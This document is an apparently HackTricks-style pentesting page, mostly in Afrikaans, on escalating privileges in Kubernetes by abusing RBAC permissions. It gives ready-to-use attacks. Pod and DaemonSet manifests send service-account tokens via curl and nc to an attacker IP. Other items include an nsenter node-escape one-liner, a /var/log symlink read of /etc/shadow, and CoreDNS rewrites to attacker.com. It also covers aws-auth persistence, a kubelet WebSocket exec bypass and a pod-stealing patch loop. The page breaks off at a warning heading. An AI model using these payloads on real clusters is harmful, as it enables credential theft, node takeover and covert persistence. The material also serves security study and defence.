# Misbruik van Roles/ClusterRoles in Kubernetes

{{#include ../../../banners/hacktricks-training.md}}

Hier kan jy 'n paar potensieel gevaarlike Roles en ClusterRoles-konfigurasies vind.\
Onthou dat jy al die ondersteunde resources kan kry met `kubectl api-resources`

## **Privilege Escalation**

Beskryf as die kuns om **toegang tot 'n ander principal'** binne die cluster te kry **met ander voorregte** (binne die kubernetes cluster of na eksterne clouds) as dié wat jy reeds het, in Kubernetes is daar basies **4 hoof-tegnieke om voorregte op te skaal**:

- Kan **impersonate** ander user/groups/SAs met beter voorregte binne die kubernetes cluster of na eksterne clouds
- Kan **create/patch/exec pods** waar jy **find or attach SAs** met beter voorregte binne die kubernetes cluster of na eksterne clouds
- Kan **read secrets** aangesien die SAs tokens as secrets gestoor word
- Kan **escape to the node** vanaf 'n container, waar jy al die secrets van die containers wat op die node loop, die credentials van die node, en die permissies van die node binne die cloud waarin dit loop (indien enige) kan steel
- 'n Vyfde tegniek wat 'n vermelding verdien is die vermoë om in 'n pod **run port-forward**, aangesien jy dalk interessante resources binne daardie pod kan bereik.

### Toegang Tot Enige Resource of Verb (Wildcard)

Die **wildcard (\*) verleen toestemming oor enige resource met enige verb**. Dit word deur admins gebruik. Binne 'n ClusterRole beteken dit dat 'n aanvaller enigenamespace in die cluster kan misbruik
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
```
### Toegang tot enige hulpbron met 'n spesifieke werkwoord

In RBAC hou sekere permissies beduidende risiko's in:

1. **`create`:** Gee die vermoë om enige cluster resource te skep, wat privilege escalation moontlik maak.
2. **`list`:** Laat toe om alle resources te lys, potentially leaking sensitive data.
3. **`get`:** Maak dit moontlik om secrets van service accounts te verkry, wat 'n sekuriteitsrisiko inhou.
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]
```
### Pod Create - Steal Token

'n attacker met die regte om 'n pod te skep, kan 'n bevoorregte Service Account aan die pod heg en die token steel om die Service Account te impersonate. Dit eskaleer effektief bevoegdhede na die Service Account.

Voorbeeld van 'n pod wat die token van die `bootstrap-signer` service account sal steel en dit aan die attacker stuur:
```yaml
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
```
### Pod Create & Escape

Die volgende dui al die voorregte aan wat 'n container kan hê:

- **Privileged access** (beskermings afskakel en capabilities instel)
- **Disable namespaces hostIPC and hostPid** wat kan help om voorregte te eskaleer
- **Disable hostNetwork** naamruimte, wat toegang gee om nodes se cloud-voorregte te steel en beter toegang tot netwerke
- **Mount hosts / inside the container**
```yaml:super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /
```
Skep die pod met:
```bash
kubectl --token $token create -f mount_root.yaml
```
Eenreël van [this tweet](https://twitter.com/mauilion/status/1129468485480751104) en met 'n paar byvoegings:
```bash
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
```
Nou dat jy na die node kan ontsnap kyk na post-exploitation techniques in:

#### Stealth

Jy wil waarskynlik meer onopvallend wees; in die volgende bladsye kan jy sien waartoe jy toegang sou hê as jy 'n pod skep wat slegs sommige van die vroeër genoemde privileges in die vorige sjabloon aktiveer:

- **Privileged + hostPID**
- **Privileged only**
- **hostPath**
- **hostPID**
- **hostNetwork**
- **hostIPC**

_You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)

### Pod Create - Move to cloud

As jy 'n **pod** kan **create** (en opsioneel 'n **service account**) kan jy moontlik **obtain privileges in cloud environment** deur **assigning cloud roles to a pod or a service account** en dit dan te gebruik.\
Verder, as jy 'n **pod with the host network namespace** kan skep, kan jy die **IAM** rol van die **node** instance **steal**.

For more information check:

{{#ref}}
pod-escape-privileges.md
{{#endref}}

### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**

Dit is moontlik om hierdie permissies te misbruik om 'n **nuwe pod te create** en voorregte te verkry soos in die vorige voorbeeld.

Die volgende yaml **creates a daemonset and exfiltrates the token of the SA** inside the pod:
```yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /
```
### **Pods Exec**

**`pods/exec`** is 'n resource in kubernetes wat gebruik word vir **running commands in a shell inside a pod**. Dit maak dit moontlik om **run commands inside the containers or get a shell inside**.

Daarom is dit moontlik om **get inside a pod and steal the token of the SA**, of in 'n privileged pod in te gaan, na die node te ontsnap, en al die tokens van die pods op die node te steel en die node te (ab)use:
```bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
```
> [!NOTE]
> Standaard word die opdrag in die eerste kontenaer van die pod uitgevoer. Kry **al die kontenaers in 'n pod** met `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` en dui dan die **kontenaer aan** waarin jy dit wil uitvoer met `kubectl exec -it <pod_name> -c <container_name> -- sh`

As dit 'n distroless container is, kan jy probeer om **shell builtins** te gebruik om inligting oor die kontenaers te kry, of jou eie gereedskap op te laai, soos 'n **busybox**, met: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.

### port-forward

Hierdie toestemming laat toe om **een plaaslike poort na 'n poort in die gespesifiseerde pod deur te stuur**. Dit is bedoel om dit maklik te maak om toepassings wat binne 'n pod loop te debug, maar 'n aanvaller kan dit misbruik om toegang te kry tot interessante (soos DBs) of kwesbare toepassings (webs?) binne 'n pod:
```bash
kubectl port-forward pod/mypod 5000:5000
```
### Hosts Writable /var/log/ Escape

Soos [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), as jy toegang het tot of 'n pod kan skep met die gasheer se **`/var/log/` gids gemonteer** daarop, kan jy **escape from the container**.\
Dit is hoofsaaklik omdat wanneer die **Kube-API probeer om die logs te kry** van 'n container (met `kubectl logs <pod>`), dit **requests the `0.log`** lêer van die pod versoek deur die `/logs/` endpoint van die **Kubelet** diens.\
Die Kubelet diens stel die `/logs/` endpoint bloot wat basies die **`/var/log` filesisteem van die container blootstel**.

Daarom kan 'n aanvaller met **toegang om in die `/var/log/` vouer te skryf** van die container hierdie gedrag op 2 maniere misbruik:

- Deur die `0.log` file van sy container te wysig (gewoonlik geleë by `/var/logs/pods/namespace_pod_uid/container/0.log`) om byvoorbeeld 'n **symlink wat na `/etc/shadow` wys** te wees. Dan sal jy die gasheer se shadow-lêer kan exfiltrate deur:
```bash
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
```
- As die aanvaller enige prinsipaal beheer met die **toestemming om `nodes/log` te lees**, kan hy net 'n **symlink** in `/host-mounted/var/log/sym` na `/` skep en wanneer hy **toegang tot `https://<gateway>:10250/logs/sym/` kry**, sal hy die gasheer se wortel-lêerstelsel kan lys (deur die symlink te verander kan toegang tot lêers verskaf word).
```bash
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]
```
**'n laboratorium en geoutomatiseerde exploit kan gevind word in** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)

#### Omseiling van readOnly-beskerming <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>

As jy gelukkig genoeg is en die hoogs bevoorregte bevoegdheid `CAP_SYS_ADMIN` beskikbaar is, kan jy die map net as rw hermonteer:
```bash
mount -o rw,remount /hostlogs/
```
#### Om hostPath readOnly-beskerming te omseil <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>

Soos aangedui in [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) is dit moontlik om die beskerming te omseil:
```yaml
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
```
Dit was bedoel om ontsnappings soos die vorige te voorkom deur, in plaas daarvan om 'n hostPath mount te gebruik, 'n PersistentVolume en 'n PersistentVolumeClaim te gebruik om 'n hosts folder in die container met writable access te mount:
```yaml
apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
```
### **Impersonasie van bevoorregte rekeninge**

Met 'n [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) voorreg kan 'n aanvaller 'n bevoorregte rekening naboots.

Gebruik net die parameter `--as=<username>` in die `kubectl`-opdrag om 'n gebruiker na te boots, of `--as-group=<group>` om 'n groep na te boots:
```bash
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
```
Of gebruik die REST API:
```bash
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Lys van Secrets

Die toestemming om **list secrets** kan 'n aanvaller toelaat om werklik die secrets te lees deur toegang tot die REST API endpoint:
```bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Skep en Lees Secrets

Daar is 'n spesiale soort Kubernetes secret van die tipe **kubernetes.io/service-account-token** wat serviceaccount-tokens stoor.
As jy toestemming het om secrets te skep en te lees, en jy ken ook die serviceaccount se naam, kan jy 'n secret soos volg skep en dan die slagoffer se serviceaccount-token daaruit steel:
```yaml
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
```
Voorbeeld exploitation:
```bash
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)

$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
secrets                                         []                                     []               [get create]
[/.well-known/openid-configuration/]   []               [get]
<SNIP>
[/version]                             []               [get]

$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"

$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"

$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created

$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}
```
Let daarop dat as jy toegelaat word om secrets in ’n sekere namespace te skep en te lees, die slagoffer serviceaccount ook in daardie selfde namespace moet wees.

### Reading a secret – brute-forcing token IDs

Terwyl ’n aanvaller in besit van ’n token met leesregte die presiese naam van die secret benodig om dit te gebruik, in teenstelling met die breër _**listing secrets**_ voorreg, bestaan daar steeds kwesbaarhede. Default serviceaccounts in die stelsel kan geënumeer word, elk geassosieer met ’n secret. Hierdie secrets het ’n naamstruktuur: ’n statiese voorvoegsel gevolg deur ’n ewekansige vyf-karakter alfanumeriese token (sonder sekere karakters) volgens die [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).

Die token word gegenereer uit ’n beperkte stel van 27 karakters (`bcdfghjklmnpqrstvwxz2456789`), eerder as die volle alfanumeriese reeks. Hierdie beperking verminder die totale moontlike kombinasies tot 14,348,907 (27^5). Gevolglik kan ’n aanvaller teoreties ’n brute-force attack uitvoer om die token binne ’n paar uur te raai, wat moontlik tot privilege escalation lei deur toegang tot sensitiewe serviceaccounts te verkry.

### EncrpytionConfiguration in clear text

Dit is moontlik om duidelike teks-sleutels te vind om data at rest te enkripteer in hierdie tipe objek, soos:
```yaml
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/

#
# CAUTION: this is an example configuration.
#          Do not use this for your own cluster!
#

apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
```
### Sertifikaatondertekeningsversoeke

As jy die werkwoord `create` in die resource `certificatesigningrequests` (of ten minste in `certificatesigningrequests/nodeClient`) het, kan jy 'n **nuwe node** CeSR **skep**.

According to the [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), dus in daardie geval het jy **nie ekstra toestemmings nodig nie**. Indien nie, sal jy in staat moet wees om die versoek goed te keur, wat beteken update in `certificatesigningrequests/approval` en `approve` in `signers` met resourceName `<signerNameDomain>/<signerNamePath>` of `<signerNameDomain>/*`

'n **voorbeeld van 'n rol** met al die vereiste toestemmings is:
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve
```
Dus, met die nuwe node CSR goedgekeur, kan jy die spesiale permissies van nodes **abuse** om **steal secrets** en **escalate privileges**.

In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) is die GKE K8s TLS Bootstrap-konfigurasie opgestel met **automatic signing** en dit word **abused** om credentials van 'n nuwe K8s Node te genereer en daardie credentials dan te **abuse** om **escalate privileges** deur **stealing secrets**.\
As jy **die genoemde privileges het, kan jy dieselfde doen**. Let wel dat die eerste voorbeeld die fout omseil wat 'n nuwe node verhinder om toegang tot secrets binne containers te kry, omdat 'n **node can only access the secrets of containers mounted on it.**

Die manier om dit te omseil, is eenvoudig net om **create a node credentials for the node name where the container with the interesting secrets is mounted** (maar kyk net hoe om dit te doen in die eerste post):
```bash
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
```
### AWS EKS aws-auth configmaps

Begunstigdes wat **`configmaps`** in die kube-system namespace op EKS (moet in AWS wees) clusters kan wysig, kan cluster admin privileges verkry deur die **aws-auth** configmap te oorskryf.\
Die verbs wat benodig word is **`update`** en **`patch`**, of **`create`** as die configmap nie geskep is nie:
```bash
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters
```
> [!WARNING]
> Jy kan **`aws-auth`** gebruik vir **persistence** om toegang te gee aan gebruikers van **ander rekeninge**.
>
> Egter, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **werk nie vanaf 'n ander rekening nie**. Maar eintlik werk `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` as jy die ARN van die cluster in plaas van net die naam invul.\
> Om `kubectl` te laat werk, maak net seker om die **slagoffer se kubeconfig** te **konfigureer** en voeg in die aws exec-args `--profile other_account_role` by sodat kubectl die ander rekening se profiel sal gebruik om die token te kry en AWS te kontak.

### CoreDNS config map

As jy die toestemmings het om die **`coredns` configmap** in die `kube-system` namespace te wysig, kan jy die adresse waarna domeine opgelos word wysig om MitM-aanvalle uit te voer en sodoende **gevoelige inligting te steel of kwaadwillige inhoud in te voeg**.

Die verbs wat benodig word is **`update`** en **`patch`** op die **`coredns`** configmap (of al die config maps).

'n gewone **coredns file** bevat iets soos dit:
```yaml
data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}
```
’n Aanvaller kan dit aflaai deur `kubectl get configmap coredns -n kube-system -o yaml` uit te voer, dit wysig deur iets soos `rewrite name victim.com attacker.com` by te voeg sodat wanneer `victim.com` geraak word, eintlik `attacker.com` die domein is wat bereik sal word. En dan toepas deur `kubectl apply -f poison_dns.yaml` uit te voer.

’n Ander opsie is om net die lêer te wysig deur `kubectl edit configmap coredns -n kube-system` uit te voer en die veranderinge te maak.

### Eskalering in GKE

Daar is **2 maniere om K8s-permissies aan GCP principals toe te ken**. In elk geval het die principal ook die permissie **`container.clusters.get`** nodig om credentials te versamel om by die cluster uit te kom, anders sal jy jou eie **kubectl config file** moet genereer (volg die volgende skakel).

> [!WARNING]
> Wanneer daar met die K8s API-endpoint gepraat word, sal die **GCP auth token gestuur word**. Dan sal GCP, deur die K8s API-endpoint, eers **kontroleer of die principal** (per email) **enige toegang binne die cluster het**, en daarna sal dit kyk of dit **enige toegang via GCP IAM** het.\
> As **enige** van daardie waar is, sal daar **geantwoord** word. Indien **nie**, sal ’n **fout** teruggegee word wat voorstel om **permissies via GCP IAM** te gee.

Dan is die eerste metode om **GCP IAM** te gebruik; die K8s-permissies het hul **gelykwaardige GCP IAM-permissies**, en as die principal dit het, sal hy dit kan gebruik.

{{#ref}}
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
{{#endref}}

Die tweede metode is om **K8s-permissies binne die cluster toe te ken** deur die gebruiker te identifiseer met sy **email** (GCP service accounts ingesluit).

### Skep serviceaccounts token

Principals wat TokenRequests kan **create** (`serviceaccounts/token`) wanneer hulle met die K8s API-endpoint kommunikeer — SAs (info van [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).

### ephemeralcontainers

Principals wat **`update`** of **`patch`** op **`pods/ephemeralcontainers`** kan doen, kan **kode-uitvoering op ander pods** verkry, en potensieel na hul node **uitbreek** deur ’n ephemeral container met ’n privileged securityContext by te voeg.

### ValidatingWebhookConfigurations or MutatingWebhookConfigurations

Principals met enige van die verbs `create`, `update` of `patch` oor `validatingwebhookconfigurations` of `mutatingwebhookconfigurations` mag in staat wees om **so ’n webhookconfiguration te skep** om sodoende privileges te **eskaleer**.

Vir ’n [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller).

### Eskaleer

Soos jy in die volgende afdeling kan lees: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), kan ’n principal nie rolle of clusterroles opdateer of skep nie sonder om self daardie nuwe permissies te hê. Behalwe as hy die **verb `escalate` or `*`** oor **`roles`** of **`clusterroles`** en die toepaslike binding-opsies het.\
Dan kan hy nuwe roles/clusterroles opdateer/skep met beter permissies as wat hy tans het.

### Nodes proxy

Principals met toegang tot die **`nodes/proxy`** subresource kan via die Kubelet API **kode op pods uitvoer** (volgens [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Meer inligting oor Kubelet-authentication op hierdie bladsy:

{{#ref}}
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
{{#endref}}

#### nodes/proxy GET -> Kubelet /exec via WebSocket werkwoord-verwarring

- Kubelet karteer HTTP-metodes na RBAC-verbs **voor** die protokolopgradering. WebSocket-handskake moet met **HTTP GET** (`Connection: Upgrade`) begin, dus word `/exec` oor WebSocket gekontroleer as **verb `get`** in plaas van die verwagte `create`.
- `/exec`, `/run`, `/attach`, en `/portforward` is nie eksplisiet gekarteer nie en val onder die standaard **`proxy`** subresource, so die magtigingsvraag word **`can <user> get nodes/proxy?`**
- As ’n token slegs **`nodes/proxy` + `get`** het, laat direkte WebSocket-toegang na die kubelet op `https://<node_ip>:10250` toe om arbitrêre opdragte in enige pod op daardie node uit te voer. Dieselfde versoek via die API-server se proxy-pad (`/api/v1/nodes/<node>/proxy/exec/...`) word geweier omdat dit ’n normale HTTP POST is en na `create` gekarteer word.
- Die kubelet doen geen tweede magtiging na die WebSocket-opgradering nie; slegs die aanvanklike GET word geëvalueer.

**Direkte uitbuiting (vereis netwerktoeganklikheid na die kubelet en ’n token met `nodes/proxy` GET):**
```bash
kubectl auth can-i --list | grep "nodes/proxy"
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
```
- Gebruik die **Node IP**, nie die node name nie. Dieselfde versoek met `curl -X POST` sal **Forbidden** wees omdat dit na `create` map.
- Direkte kubelet access omseil die API server, so AuditPolicy wys slegs `subjectaccessreviews` van die kubelet user agent en **registreer nie `pods/exec`** opdragte nie.
- Emergeer geaffekteerde service accounts met die [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) om tokens te vind wat beperk is tot `nodes/proxy` GET.

### Verwyder pods + onskeduleerbare nodes

Entiteite wat kan **delete pods** (`delete` verb over `pods` resource), of **evict pods** (`create` verb over `pods/eviction` resource), of **change pod status** (toegang tot `pods/status`) en wat ander nodes kan **onskeduleerbaar maak** (toegang tot `nodes/status`) of **delete nodes** (`delete` verb over `nodes` resource) en beheer oor 'n pod het, kan **pods van ander nodes steel** sodat hulle in die **gekompromiseerde** **node** uitgevoer word en die aanvaller die tokens van daardie pods kan **steel**.
```bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>
```
### Status van services (CVE-2020-8554)

Prinsipale wat die vermoë het om **wysig** **`services/status`** kan die veld `status.loadBalancer.ingress.ip` stel om die **onopgeloste CVE-2020-8554** uit te buit en **MiTM-aanvalle teen die kluster** te loods. Die meeste mitigasies vir CVE-2020-8554 voorkom slegs ExternalIP services (volgens [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).

### Nodes- en Pods-status

Prinsipale met **`update`** of **`patch`** toestemmings oor `nodes/status` of `pods/status` kan etikette verander om afgedwingde skeduleringsbeperkings te beïnvloed.

## Ingeboude voorkoming van privileegeskalasie

Kubernetes het 'n [ingeboude meganisme](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) om privileeg-eskalasie te voorkom.

Hierdie stelsel verseker dat **gebruikers hul regte nie kan verhoog deur roles of role bindings te wysig nie**. Die afdwinging van hierdie reël gebeur op API-vlak, wat 'n beskerming bied selfs wanneer die RBAC-authorizer nie aktief is nie.

Die reël bepaal dat 'n **gebruiker slegs 'n role kan skep of opdateer as hulle al die toestemmings wat die role bevat besit**. Verder moet die omvang van die gebruiker se bestaande toestemmings ooreenstem met daardie van die role wat hulle probeer skep of wysig: of cluster-wyd vir ClusterRoles of beperk tot dieselfde namespace (of cluster-wyd) vir Roles.

> [!WARNING]
